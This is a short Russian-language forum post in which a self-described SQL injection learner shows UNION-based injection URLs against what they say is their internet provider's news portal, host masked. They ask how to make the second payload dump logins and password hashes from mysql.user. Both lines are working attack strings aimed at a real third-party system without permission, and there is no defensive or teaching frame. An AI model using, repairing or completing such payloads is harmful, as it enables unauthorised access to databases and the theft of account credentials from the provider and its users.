15.02.2008, 14:26
|
|
Познающий
Регистрация: 21.01.2008
Сообщений: 85
Провел на форуме:
839509
Репутация:
338
|
|
Ну чтож почти научился SQL инекций) вот токо у меня не получается вывеси логин с хэшем вот например это портал нашего провайдреа 
Код:
http://*********/portal.php?module=news&view_gid=0x3127%20union+select+1,2,3,4,concat_ws(0x2F,version(),database(),user()),6,7,8/*
Ну это покажет версию, базу и имя, вот я подставлял потом такое значение
Код:
http://*********/portal.php?module=news&view_gid=0x3127%20union+select+1,2,3,4,user,password,6,7,8+from+mysql.user/*
Токо не пошло, можете обяснить что подставить надо?  Статьи прочитал подставлял не полуличось, либо я не понял) |
|
|